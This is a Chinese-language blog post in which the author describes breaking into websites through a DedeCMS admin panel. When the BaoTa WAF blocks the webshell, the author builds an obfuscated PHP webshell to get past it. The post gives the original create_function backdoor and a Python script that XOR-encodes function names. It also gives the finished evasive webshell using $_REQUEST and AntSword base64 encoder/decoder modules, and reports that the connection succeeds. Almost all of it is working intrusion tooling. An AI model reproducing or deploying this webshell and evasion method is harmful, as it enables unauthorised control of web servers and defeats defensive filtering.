最近渗透了一些违法网站在成功进入网站后台后,很庆幸他的后台是织梦,织梦有的版本可以直接上传文件。刚刚好这个版本的织梦可以上传文件。于是我直接高高兴兴上传一个webshell上去。可惜上传webshell被宝塔拦截了。
我写入的shell代码。不知道为什么我的ASSERT()函数使用蚁剑连接不上,所以我就用了自定义函数的方法来制作木马。
<?php
$fun = create_.function('', base64_decode($_POST['a']));
$fun();
?>
可以对方装有宝塔。我上传的shell也被宝塔拦截了。
于是我就上网找那些万能马,很遗憾。没有一个可以用。我去网上的php在线加密网站加密木马。不知道为什么页执行不了。求人不如求己。于是我就打算写一个简单的异或便编码脚本来尝试一下。
PHP异或编码原理:
在PHP中,两个变量的值进行异或时,会先将两个变量的值转换为ASCII,再将ASCII转换为二进制,对两对二进制数据进行异或,异或完,再将结果转为ASCII,最后将ASCII转为字符串,即为最终结果
例如assert这个函数。我们可以将其拆分成
'a'='('^'I'
's'=')'^'Z'
'e'=')'^'L'
'r'=')'^'['
't'=')'^']'
于是我们可以用一个变量接受$a=('('^'I').(')'^'Z').(')'^'Z').(')'^'L').(')'^'[').(')'^']');
接着我们引用该变量即可调用assert函数 $a(base64_decode(POST("a")) 这就是一个简单的免杀马。
我这个异或加密代码仅仅只是对一个函数名字经行加密。需要对shell经行替换。
def xor_encrypt():
fun_name = input("请输入需要加密的函数名")
res = []
c = 0
for x in fun_name:
res.append([])
for i in range(40, 126): # 从因为askii40之前有很多控制字符,所以我直接从40开始经行异或
for j in range(i, 126):
if i ^ j == ord(x):
if i != 92 and i != 39 and j != 92 and j != 39: # 因为39和92 是'号与\号需要前面多家一个\经行转义
res[c].append("(\'" + chr(i) + "\'" + '^' + "\'" + chr(j) + "\')")
if i == 92 or i == 39:
res[c].append("(\'" + "\\" + chr(i) + "\'" + '^' + "\'" + chr(j) + "\')")
if j == 92 or j == 39:
res[c].append("(\'" + chr(i) + "\'" + '^' + "\'" + "\\" + chr(j) + "\')")
break
c += 1
return res
a = xor_encrypt()
for x in a[0]:
s = x
for xx in range(1, len(a)): # 异或的结果有很多种,这里选择了第一个字母大多数可能与后面每一种可能组成的结果
s = s + '.' + a[xx][1]
print(s)
print(a[1][-1])
我们就拿assert经行测试
运行结果如下,我们随便拿一条去运行一下看是不是assert()
ok加密成功。
接着我们开始对我们的后门经行加密操作。
<?php
$fun = create_function('', base64_decode($_POST['a']));
$fun();
?>
我们先用$a接收加密 create_function后的结果,$a = ('3'^'P').(')'^'[').(')'^'L').(')'^'H').(')'^']').(')'^'L').(')'^'v').(')'^'O').(')'^'\\').(')'^'G').(')'^'J').(')'^']').(')'^'@').(')'^'F').(')'^'G');
在用$b接收加密base64_decode后的结果$b = ('-'^'O').(')'^'H').(')'^'Z').(')'^'L').('A'^'w').('A'^'u').(')'^'v').(')'^'M').(')'^'L').(')'^'J').(')'^'F').(')'^'M').(')'^'L');
接着我们拼接成上面shell文件即可,因为_POST被宝塔拦截了,我只好使用_REQUEST来接收参数 如下
$fun = $b('', $a($_REQUEST['a']));
$fun();
免杀马
<?php
$a=('<'^'^').(')'^'H').(')'^'Z').(')'^'L').('A'^'w').('A'^'u').(')'^'v').(')'^'M').(')'^'L').(')'^'J').(')'^'F').(')'^'M').(')'^'L');
$b=(';'^'X').(')'^'[').(')'^'L').(')'^'H').(')'^']').(')'^'L').(')'^'v').(')'^'O').(')'^'\\').(')'^'G').(')'^'J').(')'^']').(')'^'@').(')'^'F').(')'^'G');
$fun = $b('', $a($_REQUEST['a']));
$fun();
?>
这样一个免杀shell就制作完成了,我们使用蚁剑来连接一下后门看看可不可以。连接成功。ok
编码解码器带啊吗是在网上找的
编码器解码器代码
/**
* php::base64编码器
* Create at: 2021/10/17 22:03:40
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
//let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
//data[randomID] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = Buffer.from(data['_']).toString('base64');
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
解码器代码
/**
* php::base64解码器
* Create at: 2021/10/17 22:02:33
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
return Buffer.from(data.toString(), 'base64');
}
}